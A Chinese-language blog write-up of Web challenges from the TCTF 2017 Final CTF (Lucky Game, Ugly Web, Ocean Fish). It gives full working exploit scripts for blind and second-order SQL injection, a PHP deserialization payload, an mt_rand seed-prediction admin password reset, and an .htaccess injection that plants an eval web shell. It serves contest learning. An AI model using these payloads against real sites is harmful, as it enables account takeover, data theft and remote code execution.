TCTF 2017 Final 部分 Web 题 Writeup

近期洒家参加了 TCTF 决赛 RisingStar CTF,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。

关于比赛

说起来这还是洒家第一次坐飞机,飞机上景色不错,起飞和降落的时候加速度给人很爽的感觉。然而飞到深圳,一出地铁洒家就慌了,真不是埋汰他,这城市是真滴很热。不过这里也有好的地方,每个建筑物里面肯定有空调。所以洒家这几天除了比赛和参观都不出门,什么景点都没看。

赛场上见识了很多国内和国际的大佬,后者有 Shellphish、LC⚡BC 等,以及有女装大佬的 Binja。

tctf2017-final.jpg
都是大佬

比赛中洒家主要负责 Web 方面,题目很有难度,主要思路是跟着国际赛的计分板走。第一天在做 Avatar Center,首先发现了一个 SQL 注入,把数据库扒了个底朝天也没发现 flag,又研究设置头像功能和设置时区功能一直没有搞清程序的逻辑。然而让人意外的是,一次登录之后突然发现 flag 出现在了本应该显示时区的位置。洒家走了狗屎运,捡漏了!后来才知道可以扫出来一个 FTP 端口拿源码,设置时区那里有命令注入漏洞(黑人问号???)。这道题做了很长时间没有头绪,但是计分板显示已经有很多人解出这道题,那么这时候应该想到是不是存在没有注意到的信息,可以考虑扫描端口目录等。

拿到这个 flag 后,第一天的比赛快结束了,考虑到 Ugly Web 有一堆源码需要审计,也有很多人解出来了这道题,回到酒店主要在审计源码。洒家很快发现了第一个漏洞(反序列化 + SQL 注入),本地环境可以拿到 2 个 flag,但是很怕这里面有坑,因为大家都只做出来了第 1 个 flag。果然,第二天开场运行脚本只能拿到一个 flag。第二天上午因为搞不出来 Ugly Web flag 2,洒家转向了 Ocean Fish,很快发现了 SQL 注入漏洞,拿到了 admin 密码作为第 1 个 flag。进入后台之后,找到了执行任意 PHP 代码的方法,也分析出来 flag 肯定就在 OPCache 里面。但是有 disable_functionsopen_basedir 的限制并不能拿到 OPCache。赛后才知道要用到 SQLite 的 bug/feature 来绕过。

比赛过程中断断续续分析了 Lucky game,但是 WAF 太厉害,并不能解出这道题。在这里必须要膜一下 AAA 战队的大佬。

最后做出了 Web 的 3 道题,总体拿到了 Rising Star CTF 第 7 的成绩。

以下是部分题目的记录。

Lucky Game

这道题的主要功能是猜数字,首先注册、登录,然后可以用 10 个 points 的本金赌猜数字。题目的 flag 是 md5(password_of_admin)。题目给出了 index.php 的源码,代码非常简洁只有二百余行,显然是 SQL 注入来拿 admin 的密码 md5,但是却暗藏玄机。

初步分析代码

两个 SQL 注入漏洞:

难点

我在发现这两个漏洞之后,注册了一个 'union select 1,1,1,'98 账号,避免余额不足的问题;然后写脚本用后面的盲注查询了一堆 version()user()。但是如果要查询 admin 的密码,绕不开 filter() 的限制。以前如果只限制了列名,还可以用别名等 trick 绕过,然而这里限制了表名,只能当场 GG。

绕过 filter() 的整体思路

赛后看了小 m 的博客以及听了主办方讲解,知道了可行的方法:

整个代码的执行过程是同一次 MySQL 连接,可以用在二次注入中用 SELECT ... INTO SyntaxSELECT 的结果弄到一个变量里面,然后再用另一个 SQL 盲注漏洞把变量查询出来。用 MySQL 变量把两个漏洞结合起来,巧妙地绕过了 filter()

那么整体的思路是:

注册用户 admin' into @a,@b,@c,@d#,用户名二次注入在 my_point() 中形成 SQL 语句:

SELECT * FROM users WHERE username = 'admin' into @a,@b,@c,@d#'

然后使用 INSERT 盲注,只需要查询 @c 变量,就绕过了 filter() 的限制。

以上是大概的思路。然后还要解决用户名的副作用:由于 SELECT 的结果进入了变量,不会把结果集返回给 PHP,my_point() 函数返回值是 int 0,需要在后面处理余额为 0 的问题。需要满足条件:

(int)$_REQUEST['bet'] > 0 && !($_REQUEST['bet'] > $points) // $points === 0

看似矛盾,但是作为最好的语言,PHP 必有特性。经过一番试验,在特定 PHP 版本下,由于使用 (int) 强制类型转换和比较运算时类型转换规则和结果的不同,科学记数法 1e-10000 在强制类型转换的时候值为 1,然而在和 0 比较时,则会等于 0

var_dump((int)'1e-10000'); // 1
var_dump('1e-10000' == 0); // true

根据这个特性,$_REQUESTS['bet']1e-10000 开头就可以成功注入。

攻击脚本

实际运行可以发现,由于只有猜数字赢了才能注入,成功率较低。洒家优化了脚本,尽可能减少请求次数。由于需要得到的是 md5 只由 0-9 a-f 组成,所以只获取 3-4 个 ASCII 的二进制位就可以确定这个字符。脚本用了数据类型不匹配报错。

# encoding: utf-8
import requests
import string
import random
import sys
import logging

logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s [%(levelname)s]:%(message)s',
                    datefmt='%H:%M:%S',
                    stream=sys.stdout)

# generate 4 chars as mysql variable
db_variables = []
while True:
    ch = random.choice(string.ascii_lowercase)
    if ch not in db_variables:
        db_variables.append(ch)
        if len(db_variables) == 4:
            break

username = "admin' into %s#" % (','.join(['@' + ch for ch in db_variables]), )
password = '1234321'
# proxies = {'http': '127.0.0.1:8080'} # Burp Suite, for debug
proxies = None
url = 'http://192.168.201.3/' # 比赛场地内网

sess = requests.Session()
sess.proxies = proxies

logging.info('url: %s', url)
logging.info('username: %s', username)

# register
logging.info('register')
sess.post(url, params={'action': 'register'}, data={'user': username, 'pass': password})

# login
logging.info('login')
r = sess.post(url, params={'action': 'login'}, data={'user': username, 'pass': password})
if '<h2>You got ' not in r.content:
    logging.error('register or login failed')
    sys.exit(1)
else:
    logging.info('login success')


request_count = 0


def bin_place(offset, times):
    '''
    get ascii binary place at offset (offset starts from 1 in sql)
    e.g. 'abcde' is admin's password
    bin_place(2, 3)  ord(substr('abcde',2,1)) =  0b110 0 010 return 0
    bin_place(1, 5)  ord(substr('abcde',3,1)) =  0b1 1 00001 return 2 ** 5
    '''
    global request_count

    num = 2 ** times
    payload = "1e-10000'),(if(ord(substr((select @%s),%d,1))&%d,'a',5),'s')#" % (db_variables[2], offset, num)
    params = {'bet': payload, 'guess': '5'}

    while True:  # until win
        request_count += 1
        r = sess.get(url, params=params)
        if 'won' in r.content:    # update_point($_REQUEST['bet']), can sql inject
            if '</html>' in r.content:
                return 0    # not error
            else:
                return num  # error

result = ''
logging.info('retrieving admin password md5')
for offset in xrange(1, 32 + 1):
    # for md5 0-9a-f, only need to get part of binary places
    if bin_place(offset, 6):   # a - f
        result += chr(ord('a') - 1 + bin_place(offset, 0) + bin_place(offset, 1) + bin_place(offset, 2))
    else:   # 0 - 9
        result += '%d' % (bin_place(offset, 0) + bin_place(offset, 1) + bin_place(offset, 2) + bin_place(offset, 3), )
    logging.info('retrieved: %s', result)


logging.info('end with %d requests', request_count)
logging.info('flag is: flag{%s}', result)

Ugly Web

题目是一个站内信系统,给出了一大堆源码。功能有注册、登录、重置、发送消息、显示消息。粗略看了一下还有 3 个类:UserMessageMessageManager。这套代码里面有 2 个 flag,分别对应分开的两个题目。第一个在数据库中,显然需要 SQL 注入获得,第二个在 config.php,用 admin 账号登录时发送。同时这道题目有两台服务器,之间的代码有区别,分别存储两个 flag。

开始代码审计 必须戴好安全帽

洒家在酒店花了几个小时的时间看了大部分代码。首先轻松发现了第一个漏洞。这个漏洞理论上可以在两道题目上使用,但是第二天实际运行可以发现第二个服务器的代码做了修改,已经无法利用。然后洒家看了剩下的大部分代码也没有发现漏洞。这里洒家犯了严重的错误,在用第一个漏洞干掉两道题之后,漏掉了 reset.php 没有看。毕竟还是 too young too simple,还是缺乏章法和经验,一场严谨正常的比赛,不可能用一个漏洞拿两个 flag。

吐槽

PHP 作为弱类型、动态类型的编程语言,直接看到一个函数根本无法确定它的参数都是什么数据类型。对于关键的函数必须分析函数调用关系,确定参数、变量可能的数据类型。个人认为,PHP 因为有这样的特点,有各种特性古怪的函数,以及有其他的特点,导致了它的程序容易出现不容易发现的漏洞,增加写出正确程序、审计代码的成本。

漏洞 1 PHP 反序列化 + SQL 注入

escape() 函数

网站的功能的实现都已经抽象对这 3 个类的操作,因此分析这 3 个类的代码很重要。User 类中有一个 escape() 函数引人注意:

<?php
function escape($str)
{
    if (is_array($str)) // escape 值,不 escape 键
    {
        $str = array_map([&$this, 'escape'], $str);
        return $str;
    }
    else if (is_string($str))
    {
        return $this->dbConn->real_escape_string($str);
    }
    else if (is_bool($str))  // int 0 1
    {
        return ($str === false) ? 0 : 1;
    }
    else if ($str === null) // string 'NULL'
    {
        return 'NULL';
    }
    return $str;  // 其他类型直接返回原值,不过滤
}

这个函数对于 arraystringboolnull 都有操作,但是对于其他数据类型直接返回原始值。其他数据类型有什么可能?常见的就是 int float,还有一个重要的 object

登录

User->login($email, $password, $remember = false, $loadUser = true) 会对 $email escape() 处理,$password 变为 md5,直接传入 $email$password 字符串不存在 SQL 注入漏洞。

网站登录的地方有一个 Remember me 的功能,如果选中则会在 User->login() 中登录成功后返回一个 Cookie,内容是 array('email'=>$email,'password'=>$originalPassword) 的序列化字符串。当 session 为空,但是发送了这个 Cookie,会反序列化这个字符串,将这个数组的成员作为参数传入 User->login() 自动登录。

反序列化漏洞 + SQL 注入

这里自然可以考虑 PHP 反序列化漏洞。除了 User 类之外还有两个类可以考虑使用,经过观察 Message 类有一个 __toString 魔术方法:

<?php
class Message{
    var $msg = "";
    var $from = "";
    var $to = "";
    var $id = -1;

    function __construct($from, $to, $msg, $id=-1) {
        // ....
    }

    function __toString(){
        return $this->msg;
    }
}

结合上面对 User->escape() 的分析,可以把 Message 对象作为 $email 传入 User->login(),对象可以直接绕过 escape,然后在拼接 SQL 时,会调用 Message->__toString() 返回 Message->msg,将 Message->msg 直接拼接进入 SQL 语句,造成 SQL 注入漏洞。下面是登录任意账号的方法:

<?php
$payload = 'root@5alt.me\'#';
$msg = new Message('a','b',$payload,-1);
$rem = ['email'=>$msg,'password'=>'p'];
echo base64_encode(serialize($rem));

分析其他代码,这一个用户输入并不容易进入更深的程序中,并不容易直接显示 flag。因此我使用了 Boolean-based blind 盲注获得数据库中的 flag。

脚本 select flag from flag

#!/usr/bin/env python
# encoding: utf-8

import sys
import os
import requests
import phpserialize
import time
import logging

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s]:%(message)s',
    datefmt='%H:%M:%S',
    stream=sys.stdout,
)

# s:87:"no.nc'or `email`=if(substr((select flag from flag),1,1)='f', 'root@5alt.me','no.nc') -- ";
# a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg"; XXX s:4:"from";s:4:"from";s:2:"to";s:2:"to";s:2:"id";i:-1;}s:8:"password";s:14:"wrong password";}

flag = ''
#payload_template = "no.nc'or `email`=if(ascii(substr((select password from users where userID=1),%d,1))&%d, 'root@example.com','no.nc') -- "
payload_template = "no.nc'or `email`=if(ascii(substr((select flag from flag),%d,1))&%d, 'root@example.com','no.nc') -- "
ckSavePass_template = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";%ss:4:"from";s:4:"from";s:2:"to";s:2:"to";s:2:"id";i:-1;}s:8:"password";s:14:"wrong password";}'

default_domain = sys.argv[1]  # 'http://192.168.0.181:23352/'
domain = default_domain

url = domain + 'login.php'
offset = 1

if 'ALL_PROXY' in os.environ:
    proxies = os.environ['ALL_PROXY']
    logging.warning('Using proxy: %s', repr(proxies))
else:
    proxies = None


while '}' not in flag:
    place_ascii = 0
    for power in xrange(0, 7):
        power_num = 2 ** power
        payload = payload_template % (offset, power_num)
        payload = phpserialize.dumps(payload)
        cksavePass = ckSavePass_template % (payload, )
        ckSavePass = cksavePass.encode('base64').replace('\n','').replace('=','')

        sess = requests.Session()  # new session
        sess.proxies = proxies

        r = sess.get(url, cookies = {'ckSavePass':ckSavePass}, allow_redirects=False)
        # print len(r.content)
        if r.status_code == 200:  # login failed
            print 0,
        else:    # login success, redirect to index.php
            print 1,
            place_ascii += power_num

    flag += chr(place_ascii)
    print flag
    offset += 1

漏洞 2 预测 mt_rand() 重置 admin 密码

比赛过程中直接用漏洞 1 的代码攻击服务 2,会出现 500 错误。代码已经被修改,必须用别的漏洞拿到 admin 的 Cookie 中的 flag。

查看 reset.php,这个页面的功能是找回密码。填写注册时的邮箱,程序会发送邮件,内容是一串随机字符串。正确填写字符串就能重置密码。

漏洞

值得注意的是对于所有的请求,都会类似的随机字符串 csrftoken。按顺序,这些随机字符串是这样生成的:

<?php
// config.php
function gencsrftoken($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
    $csrf = '';
    for($i = 0; $i < $length; $i++) {
        $csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};
    }
    return $csrf;
}

$csrftoken = gencsrftoken();
setcookie('csrftoken', $csrftoken, time()+3600, $base_path);

// user.class.php
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
    for($i = 0; $i < $length; $i++) {
        $pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
    }
    return $pwd;
}

// reset.php
$h = $user->randomPass(20);
$email = 'Reset password code is: '.$h;
mail($_POST['email'], 'Reset your password', $email);

显然可以预测重置密码随机字符串。

这里还要拿出 php_mt_seed 工具。以前的使用方法是 ./php_mt_seed 第一个随机数,后来看了说明才知道 php_mt_seed 也可以用于 mt_rand($min, $max) 的场景。运行 ./php_mt_seed 6 6 0 9 6 6 0 9 4 4 0 9,参数 4 个一组,例如:7 8 0 9 表示 mt_rand(0, 9) 返回了 7-8。

然而在本地复现的时候,Apache 环境 mt_rand 播种之后似乎有了复用,在第一个随机数生成之前手动加入 mt_srand() 才能成功预测出种子。

漏洞利用脚本

需要用到编译好的 php_mt_seed,stdbuf、php 命令,以及下面两个脚本

#!/usr/bin/env python
# encoding: utf-8

import sys
import os
import subprocess
import requests
import logging
import random
import urllib

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s]:%(message)s',
    datefmt='%H:%M:%S',
    stream=sys.stdout
)

admin_mail = 'root@example.com'
new_admin_password = 'pwned{}'.format(random.randint(100000, 999999))

index_url = sys.argv[1]  # 'http://192.168.0.181:23353/'
logging.info('target is %s', index_url)
reset_url = index_url + 'reset.php'
login_url = index_url + 'login.php'

sess = requests.Session()
if 'ALL_PROXY' in os.environ:
    __ = os.environ['ALL_PROXY']
    logging.warning('Using proxy: %s', repr(__))
    sess.proxies = {
        'http': __,
        'https': __,
    }

chars = '1234567890qwertyuiopasdfghjklzxcvbnm'
keygen_phpfile = './random-cli.php'
php_mt_seed = 'php_mt_seed'
success_str = 'Password changed'
length = len(chars)

logging.info('checking environment and tools...')
ENV_OK = True
if subprocess.call(['which', php_mt_seed]) != 0:
    logging.critical('%s not found', php_mt_seed)
    ENV_OK = False
if not os.path.isfile(keygen_phpfile):
    logging.critical('%s not found', keygen_phpfile)
    ENV_OK = False
if subprocess.call('type php', stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) != 0:
    logging.critical('php cli not found')
    ENV_OK = False
else:
    phpinfo = subprocess.check_output(['php', '-v'])
    logging.info('php found: %s', phpinfo[0:phpinfo.find('\n')])

if subprocess.call('type stdbuf', stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True) != 0:
    logging.critical('stdbuf not found')
    ENV_OK = False

if not ENV_OK:
    logging.info('exiting')
    sys.exit(2)

logging.info('testing url available...')
try:
    r = sess.get(index_url)
    if r.status_code != 200:
        logging.critical('response code for %s is %d != 200', index_url, r.status_code)
        sys.exit(1)
except Exception as e:
    logging.critical('error %s %s', str(type(e)), str(e))
    sys.exit(1)


logging.info('sending reset password for %s', admin_mail)
r = sess.post(reset_url, data={'email': admin_mail, 'csrftoken': 'abc'}, cookies={'csrftoken': 'abc'}, allow_redirects=False)
csrf_token = r.cookies['csrftoken']
logging.info('csrf token: %s', csrf_token)

logging.info('running php_mt_seed, please wait 5 min...')
cmd = ['stdbuf', '-i0', '-o0', '-e0', php_mt_seed, ]
for ch in csrf_token:
    offset = chars.find(ch)
    cmd += ('%d %d %d %d ' % (offset, offset, 0, length-1)).split()
logging.debug('php_mt_seed command: %s', ' '.join(cmd))

proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
    line = proc.stdout.readline()
    if line == '':
        break
    elif line.strip() == '':
        continue
    elif not line.startswith('seed = '):
        continue
    else:  # 'seed = 16777230'
        seed = line.strip()[7:]

        #logging.info('there may be multiple possible seed. input them all. e.g. 1234 5678')
        #seeds = raw_input('input seeds: ').strip().split()
        print ''
        sys.stdout.flush()
        sys.stderr.flush()

        logging.info('get seed %s', seed)
        cmd = ['php', keygen_phpfile, seed]
        code = subprocess.check_output(cmd).strip()
        logging.info('verify code is %s', code)
        r = sess.post(reset_url, data={'reset': code,'pwd': new_admin_password, 'csrftoken':'abc'}, cookies={'csrftoken': 'abc'})
        if success_str in r.content:
            proc.terminate()

            logging.info(success_str)
            logging.info('new password for %s is %s', admin_mail, new_admin_password)
            logging.info('getting flag...')
            r = sess.get(login_url)
            csrf_token = r.cookies['csrftoken']
            r = sess.post(login_url, data={'uname': admin_mail, 'pwd': new_admin_password, 'csrftoken': csrf_token})
            r = sess.get(index_url)
            for cookie in r.cookies:
                if cookie.name != 'csrftoken':
                    logging.info('Cookie key %s value %s', cookie.name, urllib.unquote_plus(cookie.value))
        else:
            logging.info('code %s is wrong', code)

print ''
logging.info('exiting')

random-cli.php

<?php
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
    $pwd = '';
    for($i = 0; $i < $length; $i++) {
        $pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
    }
    return $pwd;
}
if(count($argv) === 2){
    // echo PHP_INT_SIZE;
    $seed = intval($argv[1]);
    if(version_compare(PHP_VERSION, '7.1.0') >= 0){
        mt_srand($seed, MT_RAND_PHP);
    } else {
        mt_srand($seed);
    }

    $csrf_token = randomPass();
    $reset_code = randomPass(20);
    echo $reset_code . "\n";
}

Ocean Fish

这道题也是分两个 flag。第一个 flag 提示 Flag1 is Admin's password,做法详见 TCTF 2017 FINAL WEB PARTIAL WRITEUP - Melody

拿到 admin 密码之后登进后台,可以执行任意 MySQL、SQLite3 的语句,也可以写入 .htaccess 来控制 url rewrite。

<?php
// /application/controllers/Admin.php
public function rewrite()
{
    if(isset($_POST["rule"]))
    {
        file_put_contents("/var/www/html/.htaccess", "RewriteRule ".$_POST['rule']."\n", FILE_APPEND);
    }
}

显然可以用换行符对 .htaccess 进行注入。洒家把 .htaccess 设置为:

RewriteRule ^abcd .index.php/abcd
# <?php eval($_GET['cmd']); ?>
php_value auto_prepend_file /var/www/html/.htaccess

这样运行任意 .php 文件都会首先包含这个 .htaccess,执行注释中的代码,从而 getshell。

本来想着已经能执行任意 php 代码了美滋滋,没想到后面还有大坑:服务器设置了 disable_functionsopen_basedir,并不知道怎么绕过。

另外拿到了一个 crackme.php:

<?php
    function ccc($uuu){
        return TRUE;
    }
    $user_input = $_GET['license'];
    if(ccc($user_input)){
        echo 'YES, FLAG IS flag{'.$user_input.'}';
    }
?>

实际运行结果和代码逻辑不一样,猜测是重写了 OPCache 的缓存代码,由于 open_basedir 限制并不能拿到 OPCode。

赛后知道了绕过 open_basedir 的方法:Pwn SQLite3 特性还是漏洞?滥用 SQLite 分词器 - 长亭科技

参考


Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top